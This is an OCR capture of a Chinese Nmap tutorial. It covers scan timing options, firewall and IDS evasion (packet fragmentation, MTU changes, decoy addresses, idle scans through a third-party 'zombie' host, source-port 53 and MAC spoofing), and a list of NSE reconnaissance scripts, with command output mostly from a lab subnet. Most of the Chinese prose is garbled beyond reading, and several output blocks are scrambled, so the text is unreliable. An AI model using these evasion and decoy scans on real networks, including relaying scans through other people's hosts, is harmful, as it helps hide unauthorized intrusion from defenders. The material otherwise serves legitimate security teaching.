
8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

root@Wing: ~#

55 el L LS

* 55 Piom AAREN T Nmap iy 2
HAr ML

AR, Kbt a4

at 2014-06-12 13:35 CST

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

A AN P i i

LI IR

A JH]--host-timeout &I 5 1] LA FF G218 1) H R B ML ZETRA TR 2 10 EHL T HES 18 3

ESpS il

« ENLIERESES T T ) R B S B MR A 8 . FEX B EHIEAREEM TR T, T
i HAZIE TR S N ) E AL, LAET IR R e
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£55 ATFRE®S
% I ®m B

--min-hostgroup PR IFAT IR ALK A
--min-| llelis

I VB R S 10 AT
--max-parallelism
--min-rtt-timeout
--max-rit-timeout T R IR SR
--initial-rtt-timeout
—host-timeout TR FHASE B AR EHL
--scan-delay

i R0 2 S 014 b ) i)

--max-scan-delay

--host-timeout [P FAA7SEZEFD, —FRATEE A 1800000 ZFF, £41F Nmap £EX% 4 LML
QI ] B AN S N, AR AN AR AN /N B TE] A R 3 — A L, oA 3=
B2 ] Bl 14

root@Wing:~# nmap --host-timeout 100ms 192.168.126.1/24

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 13:42 CST
Nmap scan report for 192.168.126.1

Host is up (0.00089s latency).

Skipping host 192.168.126.1 due to host timeout

Nmap scan report for 192.168.126.2

Host is up (0.00041s latency).

Skipping host 192.168.126.2 due to host timeout

Nmap scan report for 192.168.126.130

Host is up (0.0000060s latency).

All 1000 scanned ports on 192.168.126.130 are closed

Nmap done: 256 IP addresses (3 hosts up) scanned in 0.36 seconds

root@Wing:~#

TERLE LB/ R i 8] Az i, Fedi 125 & B Nmap iR AN K455 2 1 MUtk a5 10 T4
i, BE NS ENN ] £,

root@Wing:~# nmap --host-timeout 1000ms 192.168.126.1/24

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 13:42 CST
Nmap scan report for 192.168.126.1

Host is up (0.00060s latency).

Skipping host 192.168.126.1 due to host timeout

Nmap scan report for 192.168.126.2

Host is up (0.00026s latency) .

Not shown: 999 closed ports
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Host is

PORT

21 fep
22/tcp
23/tcp
25/tcp
53/tcp
80/tcp
111/tcp
139/tcp
445/tcp
512/tcp
513/tcp
514/tcp

Host is

PORT STATE SERVICE
53/tcp open domain
MAC Address: 00:50:56:F1:06:20 (VMware)

Nmap scan report for 192.168.126.131

up (0.00031s latency).

Not shown: 977 closed ports

STATE SERVICE
open ftp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind
open netbios-ssn
open microsoft-ds
open exec

open login

open shell

1099/tcp open rmiregistry
1524 /tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy—-ftp
3306/tcp open mysqgl
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap scan report for 192.168.126.130

up (0.0000070s latency) .

All 1000 scanned ports on 192.168.126.130 are closed

Nmap done: 256 IP addresses (4 hosts up) scanned in 2.29 seconds
root@Wing:~#

X T RUE RIS TR UG, FRsca — P ME—RIBRAE, T2 AT M APR A2 5
TR = RE
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) mesxEasrmEm

K 5.6 IR AARTETTHTHE Nmap 23R, RG2S AN —— RN R
praivl e e
x56 FWe
% b7} . 4

--min-hostgroup WHEIATERELLII R
s v VRSB S AT B
--max-parallelism
--min-rtt-timeout
--max-rtt-timeout A S ERIAR SCE
--initial-rtt-timeout
--host-timeout HFARE H AR LML
A SR S RO T

--max-scan-delay

1§ FH--scan-delay 5 --max-scan-delay 10 A DL B4R S A 1& B I R] (8] o i3I0 m] A4l
Nmap Xf —PEE A EHUAERMIR A ZEAF S 1R], S0 (R A2 4 A, 1R 2 B % Nmap
SRIEREADEMRIC, X231l Nmap BITHEE K. RN R HFARIRFUWAIE LT
A DUME FZE T, (BT A BEK Nmap WA I HEREARSE H K, X TIXANETNE 2 77 2% 1H

fiEH

&£ i ——scan—delay I #H{T5E T

root@Wing:~# nmap --scan-delay 1ls 192.168.126.131

21/tcp open
22/tcp open
23/tcp open
25/tcp open
53/tcp open
80/tcp open

Starting Nmap 6.40

ftp
ssh
telnet
smtp
domain
http

( http://nmap.org ) at 2014-06-12 13:48 CST
Nmap scan report for 192.168.126.131

Host is up (0.00030s latency).

Not shown: 977 closed ports

PORT STATE SERVICE
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111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl

5432 /tcp open postgresqgl
5900/tcp open wvnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 122.17 seconds
root@Wing: ~#

{$ FH——max—scan—delay i I#H /&=

root@Wing:~# nmap --max-scan-delay 30s 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 14:00 CST
Nmap scan report for 192.168.126.131
Host is up (0.00022s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysqgl
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5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
root@Wing:~#
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6 PiKREIDS PkiR

* X T B -KHE/1DS

o RITER

o FRE WAL K

* IP K3

o JihhtHK I

o v KTk

e ERAKE

o HirEHBEHLHET
* MAC Hhuhik#k 5

AT ARRRNEESE, EEVIZHTAREMG, E-E AN R EERE. B
ZFE A AT LUF A Nmap 2658805 K BE/IDS B 3RS B E BT B, A% K0 se Ak
TRREAT S RG] 7 b, A W] AR BI0AE 51 K A1EH] .

AR EHEIR

R 6.1 Pros AR FTils Nmap fr &%, AT {EEE AN, SRR,

*6.1

AE P FRIED

® W

L

I B

--mtu

TR B K/

IP %

-sl

U523t k- ¢ S




6.1 XTFPiKEEIDS

gk
& W ® B
--source-port B K
--data-length fRERAKE
--randomize-hosts B b5 EVBEHLHER
--spoof-mac MAC i3 5

) 6% 7 K B e A — ML T AR S BT EE B 1) R 48 2 [B) RV 3R At o &t LIRS BT
I 28300 15 340 B 20t oy K 358 « B K BB I 48 0 1) PR 8 008 A EAT 14, X R RS i B e — L Ty,
PG L7E H AR vE L ERRAT o B KB AT LA SC AN A B 1, 170 LI REZE 145 5 o 1 OO
Ml s, HBRRSEARL . BE, B LR Rk BRIV e), TR kR B AR E
A S .

IDS /2% “Intrusion Detection Systems” MI4FS, FXEEE “ANRRENRSE”. Tl E
PR R I — R 22 AR, R B, WM, REMBIPRGZEAT I, R ekl
SRR BT ASE SRS R, DMRIEMZ RERERPLUE . seREEmaT A, 7§F
—ANEZ L BB kR ORI 18, B4 IDS X AR KR M ARG —
Bl d N KR, SR R BAAT R, RA LN MRS A Ge RINTE LT RS .

SIS AR AT I AE P9 4 R R T AT, R GEAREE FH 7 B SEAT AL AR AE T R )
5 AR LA A P 28 BEROGE FH P 2 1 3R AR AT AT, — B RIARIEZR LN T AR E S
FHLRERE, BRI AN SRR R o X R R R AW AT I o TS e AR A
W) LA P 28 22 4 I AU I 45 8 BN 0 8 BT AN s S REAT 10, AN AT SR, DRI B
NAZ B 8 AT Sz B ARSI R S

IDS RAGAM2 BIF G, AMH #E IDS REZ MBFEMG. Bk, @& X% —
B, 845 3B 4 B 88 AR BRI T AR HEREAT 0 & R A L B/ . IETF HElfi — 1%
[T/ IDWG (IntrusionDetection WorkingGroup) 157 X Pl fE &, FR1E Intrusion
Detection ExchangeFormat. HE[RAHKKRSE, IHARIEMIEXRK REC 3. AW, *
M IDS KB 2 HE R AE IDS REE A FEERAE I, W &VFS HARThEE Canv]
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T i
R AR ERE, 498 T mE. SHKRIES.

62 BT

£ 6.2 IR AT % Nmap @33R, Kbk ar & AN BT an &——IR 3L B
%*6.2 ATEFRRWT
‘W L
-f BT B
--mtu HRE A% KA
D 1P K 3
-sI Pk R
--source-port P TR
--data-length e kK E
--randomize-hosts HAR EALBEHLHE
--spoof-mac MAC Hlht 5 3

R Be i T2 -fo 75 Nmap {3 I -f IR 258 TCP k7 BAE LA, (673 id S 4%
IDS DL HoAth T H A4 N F 3. Nmap 78 1P kG50 8 NFWEE /N, fEMH-f
ED AR TR Z AL, AEALR S HIELERIR, ZEBINAEEERIN.

—EE LA LA ICMP 153K, XTI Ffef 35 it AT LA R4 SC 53 BV 7 v Rk ik H b
KEERIFN . & 56 {F A Ping H4# H AR EHL.

root@Wing:~# nmap -sX -v -F 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 14:29 CST
Initiating Ping Scan at 14:29

Scanning 192.168.121.1 [4 ports]

Completed Ping Scan at 14:29, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:29
Completed Parallel DNS resolution of 1 host. at 14:29, 0.0ls elapsed
Initiating XMAS Scan at 14:29

Scanning 192.168.121.1 [100 ports]

Completed XMAS Scan at 14:29, 3.04s elapsed (100 total ports)
Nmap scan report for 192.168.121.1

Host is up (0.0018s latency) .

All 100 scanned ports on 192.168.121.1 are open|filtered

Read data files from: /usr/bin/../share/nmap



62 WIADE

Nmap done:

Raw packets sent:

1 IP address (1 host up)
204 (8.152KB) |

root@Wing:~#

scanned in 3.11 seconds
Rcvd: 2 (68B)

FE& 045 R VAR & B AR BN DR I e 223 4R S o) Brigk A7 43

root@Wing:~# nmap -f

Starting Nmap 6.47 (

Initiating

Ping Scan

-v 192.168.

http://nmap.org )

at 15:09

Scanning 192.168.121.1 [4 ports]

Completed Ping Scan at 15:09,
Initiating Parallel DNS resolution of 1 host.
Completed Parallel DNS resolution of 1 host.

0.

1211

at 2015-06-28 15:09 CST

00s elapsed (1 total hosts)
at 15:09

at 15:09, 0.01s elapsed

Initiating SYN Stealth Scan at 15:09
Scanning 192.168.121

Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Increasing
since last
Discovered
Discovered
Discovered

open port
open
open
open

port
port
port
open port
open
open
send

port
port

increase.
open port
open port
open port

.1 [1000 ports]

139/tcp on
135/tcp on
445/tcp on

192.168.121.1
192.168.121.1
192.168.121.1

49152/tcp on 192.168.121.1
49155/tcp on 192.168.121.1
912/tcp on 192.168.121.1

49153/tcp on 192.168.121.1

delay for 192.168.121.1 from 0 to 5 due to 95 out of 315 dropped probes

902/tcp on 192.168.121.1
843/tcp on 192.168.121.1
49165/tcp on 192.168.121.1

Discovered open port 8000/tcp on 192.168.121.1
Discovered open port 7000/tcp on 192.168.121.1
Completed SYN Stealth Scan at 15:11, 120.30s elapsed (1000 total ports)
Nmap scan report for 192.168.121.1

Host is up (1.2s latency).

Not shown: 987 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp  open microsoft-ds

514/tcp filtered shell

843/tcp open unknown

902/tcp open iss-realsecure

912/tcp open apex-mesh

7000/tcp open afs3-fileserver

8000/tcp open http-alt

49152/tcp open unknown

49153/tcp open unknown

49155/tcp open unknown

49165/tcp open unknown

Read data files from: /usr/bin/../share/nmap
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E6F [HAEE/IDS ik

Nmap done: 1 IP address (1 host up) scanned in 120.37 seconds

I Raw packets sent: 1853 (81.508KB)

root@Wing:~#

| Rcvd: 1054 (42.404KB)

R IR BUR RS T 5 2 HO R - X i W3R S0 7 BRBE S A b ex B A EALR KBk

] iE v

63 E 2

® 63 IR AATENTT Nmap @R, RPN AARNT T S—EEwmE
K.
6.3 ATFRHEWS
& W ®m B

£ R
—mtu FREMB KD
D 1P HK 3
sI V5 H Ik B
--source-port P o 1K B
--data-length e KA K
--randomize-hosts H b MR HE
--spoof-mac MAC ik 3

{# F--mtu 5 7] UL K48 & W K/, MTU, R Maximum Transmission Unit (5 A A& %8
J6), BEWRE TCP/AP il A iy (1 e KAk ¥, AR € MTU 7] DUk 2 e B
kEEIDS B, FEEBRMZ WM LI 8 HfFE.

Nmap scan report for 192.168.126.131
Host is up (0.00025s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

root@Wing:~# nmap --mtu 16 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 14:19 CST



6.4 |IP H#iIR

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl
5432/tcp open postgresgl
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
root@Wing: ~#

64 L

R 6.4 Fins AAT AT Nmap fir @&, RPN A& AN ar—1P M.

#*6.4 ATREGEL
® m ®m B

-f W B
--mtu FROE WS K/
) 1P 3K 3
sl P51k 15
--source-port RS 11 4K B
--data-length fREROKHE
—-randomize-hosts Hbx EHLBENLHE
--spoof-mac MAC Hhl-5 3

141 FH-D SE It o] LA B4 G5 A EAT 1P SR A4 L, 7R HT 2B B0t H bR AT 1 K I
15, ik HAR BN AR A AT S, AR — D ESERIESE, XA AT LA IR
KHE RIS SR B, AT LS B B E B O H B, X AESERR AR R AR A A
v
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A LM SR8 St AN EIE AT 0 d], RIS B AR EALE A AL, fh
AT RE SN Z R A B E E LB T, AR B Al DRt I IR
i, ST DR A QR ESE 1P REHTEH, Sak B B A EAVE B A H R, X
B 5 ENAE AEH
IP G Y TE VRN T -
Nmap -D [decoyl, decoy2:-+[RND: number] [ H#x]
f#F-D I AT LAFR E A4 1P shik, a3 (A RND BEHLA B LA AR, 7E4E € i 1H.C
[Ef FIE 5 AT 48, 75 B R A AR AT RS R I B TCP 34 BRI U5 1 R To R4

root@Wing:~# nmap -D RND:11 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 14:26 CST
Nmap scan report for 192.168.121.1
Host is up (0.00040s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tck open domain

80/tcp open http

111/tecp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl

5432/tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds

root@Wing: ~#



6.4 IP #IR

BAVELIAM %, F— F Nmap HUEERT KBS BCR
e 6.1 s, WLLERF 11 AFENL. AR IP bk HisEHURIE T SYN 1, H
i, 192.168.239.128 2B SL (K] IP Hudik.

XFHBEHLI VAT A S BRI, H T RIGHRE LA TP b x H bR SE R Hi R ik 21 58 4
IR

root@Wing:~# nmap -D 192.168.0.1,192.168.0.2,192.168.0.254 192.168.121.1

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-12 14:36 CST
Nmap scan report for 192.168.126.131
Host is up (0.00040s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysqgl

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
root@Wing:~#

i 6.2 fiw, BAEIMEHIITEE S Nmap IEEMEHBAEER TP 247X H AR EHLKA
i AT MEH ME IR € H S RYHSE 1P,
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*ethO [Wireshark 1.10.2 (SVN Rev 51934 from /trunk=1.10}] *ethO [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
i o f i
@048 =8 yess FRIE

Fitter

Fike Edit View Go (apture Analyze Statistics Telephony Tools Internals  Help
b G : ¢ e I Lo e
O 4w, @1RT awsarFE

Filter: ' Expression v

v | Expression.. i ~

svol | Lengtl ' 1o

il - L e G
+ Ethernet 1I, Sr 1 56:¢0:00:08), Dst; IPvEmcast

Internet Protocol Version 6, Src: fego::f42f:fsi (te0: :fazf :f51
- User Dataﬁrm Protocol, Src Port: dhepy6-client (546}, Dst Port: dhepvs-server (547)

‘ Frame L: bU Dytes on wife (4580 bits), 6U byTes captured 1480 Dits) on intertace o
' Ethernet I1, Srci Vmware_fc;92:5b (00;50:56:fc:92:5b), Dst: Broadeast (ff:ffoffiffiffiffy
' Address Resolution Protocol (request)

1 £7 ff 7 §f 00 S0
08 00 06 04 00 01 00 50

o1
0z
o0

3 00 00 00 00

) €O 00
100 00 60 20 00 005

Frame (frame), 156 bytes Packets: 9. Profite Default

B File: "Jtmp/wireshark_peapng.ethO.. Packets 2. Profile Dafault

AE6.1l IPHHUZBEBHE A 6.2 EREFEE P X BIRENAH

root@Wing:~# nmap -D 192.168.0.1,192.168.0.2,192.168.0.254,ME 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 15:31 CST
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

Nmap scan report for 192.168.121.1

Host is up (1.0s latency).

Not shown: 987 closed ports

PORT STATE SERVICE
135/tcp open msrpc

139/tcp open netbios-ssn
445/tcp open microsoft-ds
514/tcp filtered shell

843/tcp open unknown
902/tcp open iss-realsecure
912/tcp open apex-mesh
7000/tcp open afs3-fileserver
8000/tcp open http-alt
49152/tcp open unknown
49153/tcp open unknown
49155/tcp open unknown
49165/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 158.90 seconds
root@Wing:~#

“C\" TR, BEEBST TERE, B2 SHEHFENN SYN
g’ S| sk,
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6.5 EHHHHS

iR st 1k AR Y

K 6.5 FroR QAT it Nmap fir &2, &b kL dn & 4 AN B ifi dm & —— VR b K 0
6.5 AT RS
®om ® E
-f M B
--mtu it s K/
D IP 59
-sl TR HEK e
--source-port P 13
--data-length HEROKE
--randomize-hosts H#5 EHLEELHEFR
--spoof-mac MAC i 1t 5 G

8 FH -1 JE T AT LAEAT Y5 bE S o 5 Nmap oV 2 /R (U5 b EE, Nmap 448 HiAH N
MIPE7R, BAE -1 TG E Bl A B8 O 1P k.

root@Wing:~# nmap -sI www.Oday.co:80 192.168.126.131
WARNING: Many people use -Pn w/Idlescan to prevent pings from their true IP. On the other
hand, timing info Nmap gains from pings can allow for faster, more reliable scans.

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 14:50 CST
Idle scan using zombie www.Oday.co (210.209.122.11:80); Class: Incremental
Nmap scan report for 192.168.126.131

Host is up (0.051s latency).

Not shown: 977 closed|filtered ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tep open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
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1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysgl
5432/tcp open postgresgl
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 40.30 seconds
roct@Wing: ~#

-STETRHAIAE 2 /i OB 22 N P R B, (H e 32 32 AR UR b 3R

% 6.6 FT7n NAE 1 FT s Nmap i3, 28 K -2 2 A /N5 BT it i 2 —— U5 ity 1 1 0 o
%66 ATFE®RE
‘I ®m B
= R B
--mtu R E W K
D IP J 3
sl 5 bk 2 g
--source-port P O K O
--data-length RER K
--randomize-hosts H s EALBEALHE T
--spoof-mac MAC Hbhil 3K Y

15 --source-port JEIGt wT AREAT Yo SR B, AR T LA -g 3R 000, eI —HE Y,
HATVATTZIRAE i 05, Nmap 50AT LUk AR, BRI Bl K0T A 55 2% 1 1%
ELA R DA SE RN, B B R ] BE 2 X e O AAH ok & A, BrLlaT LUF
FI i 1 L BT .

root@Wing:~# nmap --source-port 53 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 14:57 CST



6.7 IEEEBKE

Nmap scan report for 192.168.126.131
Host is up (0.00035s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl

5432/tcp open postgresqgl
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
root@Wing: ~#

FEIXRIRAHRE MR 53 S, FAOX 2 FVFR, 2598t AT DA e oA s 1) A T30
PO

TR e nake

R 6.7 Proas AATEN P Nmap iy &K, RPN G AN dr &—fRE kG
N
%67 ATERS
# ® B
F 5B
~-mtu Hest s A

135



% m wm R
-D 1P k9
-l PEHLLE SR
--source-port P KR
--data-length HBEREKE
--randomize-hosts H A5 LB
--spoof-mac MAC 1k 3K B

1§ FH1--data-length LI AT AYE ARSI I it B R AR RE . R0 R, TCP @ 40
ANFEAT, ICMP Echo 28 ANFAY, B BATE SR MR SCIEA_F B0 BEAL B0 ik 2 HURE T K B8
A
root@Wing:~# nmap --data-length 30 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 15:01 CST
Nmap scan report for 192.168.126.131
Host is up (0.00021s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)
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6.8 BAREAEEYIHIF

| Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

root@Wing:~#

PL_E TR B bR EHUAIE 30 A F 1R,

68 EEX TR

% 6.8 Przs WAFE VTG Nmap &R, R AL AN T dr&—— B AR EHLREHL

P
#*6.8 ATIFRFE®L
® W |
f R B
--mtu i i ds K/
D 1P 3 i
sl 5 1K
--source-port 5t 15K B
--data-length faE KK
—-randomize-hosts B EVBENLHF
--spoof-mac MAC #3335

1 Fi --randomize-hosts JZE T3t 7] LAXT B A& ML 2E4T FEAL R HER » 52 nT ik 8096 />3
Mlo By TEE FH I AN E T X B K B5/1DS BB 3R R AN K, Gn SRS A B 1) 328 01 ) £ 75 1R 47 1

R

Nmap scan report for 192.168.126.2
Host is up (0.00028s latency).

MAC Address: 00:50:56:F1:06:20 (VMware)

Nmap scan report for 192.168.126.1
Host is up (0.00039s latency).

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.126.131
Host is up (0.00031s latency).

root@Wing:~# nmap --randomize-hosts 192.168.126.1-200

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 15:05 CST

All 1000 scanned ports on 192.168.126.2 are closed

All 1000 scanned ports on 192.168.126.1 are filtered
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Z6E [PJUBIDS Mk

Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

23/tcp open telnet
25/tcp open smtp

53/tcp open domain
80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysqgl

5432 /tcp open postgresql
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap scan report for 192.168.126.130
Host is up (0.0000040s latency) .
All 1000 scanned ports on 192.168.126.130 are closed

Nmap done: 200 IP addresses (4 hosts up) scanned in 5.46 seconds
root@Wing: ~#

69 LR

% 6.9 PR AARTETFTT Nmap &, R MG AN Prifidr@——MAC ik

K
6.9 ATERS
& I S
£ W B
--mtu EiEd L PN
-D IP 59
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69 MACHIIHE

& m |
=l P HE K B
--source-port Pt 13 G
--data-length fRE RS
--randomize-hosts H bR EHLBEHLHEF
—spoof-mac MAC Hiuhk 3

fi Hi--spoof-mac I AT LLREAT MAC il ik . B A —A> MAC &l fi& 5]
EIRRIEE, X BATATLMER RS “0” MR — 1 MAC #hik. XEFEERNL,
AT LUEE—1 MAC Hilbd A7k, +55E 1 MAC
Mk 4 2 SR AEAERY,  IXAE A RE S BHK 0 i 2 B3 IR . i —-spoof-mac 23 AT LA F
ZH 845 0. MAC Address. Vendor Name. 0 KRB — MAC Hilit, MAC Address %

BEALRHCT “0” MART R “0”, HRK

AP FEE —4 MAC #ilit, Vendor Name KR MISEM] BAERK — MAC #uifil.

root@Wing:~# nmap -sT -PN --spoof-mac 0 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 15:29 CST

Spoofing MAC address AF:CE:38:EF:6F:F4
Nmap scan report for 192.168.126.131
Host is up (0.013s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysgl
5432/tcp open postgresqgl
5900/tcp open vnc

(No registered vendor)
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HEO6E [AIE/IDS ik

6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 1.53 seconds

root@Wing: ~#
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W7 (R

AEHIR S

o fFEHLE

o IP {5 EHH4

e WHOIS frif]

o 4L E-mail 5 &

o [P X

* DNS {5 B84

s MRRGM A

o J5 G T EHLIRSS s i

* ARG lwiRH

o {34 Web il

e il Snmp %1% Windows fil 55/l

o #42& DNS IR %5331 EHL A

e HTTP {5 B %%

o 2 SSL % 4H

® SSH k55 % A1 B4R

REEHEANH Nmap [¥) NES I, AL Lua BRFEIER, HAtCHEILEF. a
Sy AL 2 R I A I IE 2 ok, A F257 38 1 % Nmap {5 SR AR H LK
K 1 fi# Nmap ) His.



z7E e

REMA
® 7.1 PR ARFENTPTH Nmap 2%, NEEEER, EHRICER,
*x71 AERFIRR
M K N S
--script ip-geolocation-* IP fif B R
whois WHOIS #ifi
http-email-harvest $4E E-mail {5 &
hostmap-ip2hosts 1P
dns-brute DNS {7 S494E
membase-http-info KERGfE R
smb-security-mode.nse J& B AT ENHUIR 5 I i
smb-check-vulns.nse ERS ) S pEEEEn
http-stored-xss.nse F1H Web i
snmp-win32-services itk Snmp F11%¢ Windows Ik 45/1K /7
dns-brute M2 DNS Jli 55 2% (11 W14
http-headers/http-sitemap-generator HTTP {5 B84k
ssl-enum-ciphers 2 SSL %4
ssh-hostkey SSH k552 845 BER

11 [T

LEBHATB B DRI, B 50 B R H PR TR T Be 41 (1015 SR, 7238580
AT DR (R B, IR N BIE B R OEM .

i BIREM AR E, TATF TR LA P HE T84, thaT DUAEBY—28 T H X} B brifi
BHATAE BAEEE, Nmap 2 —MNAREIER . Nmap WE TIRZHEM, TR0 E R,
FAAYA A — AN 1 13 88 I 4 ff

72 [LXFF TS

2% 7.2 s AT Nmap 438, bl ar & AN 15 B dr & ——1P {5 SRR,
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IP 5 2%

*72 EWT
B & O

--script ip-geolocation-* IP {5 B4
whois WHOIS £ if]
http-email-harvest 14 E-mail /5 8
hostmap-ip2hosts IP %
dns-brute DNS {5 B84
membase-http-info BRRGHFR
smb-security-mode.nse 5 B ATEHLIR S J R
smb-check-vulns.nse EX2 % NTESE
http-stored-xss.nse 3 Web i
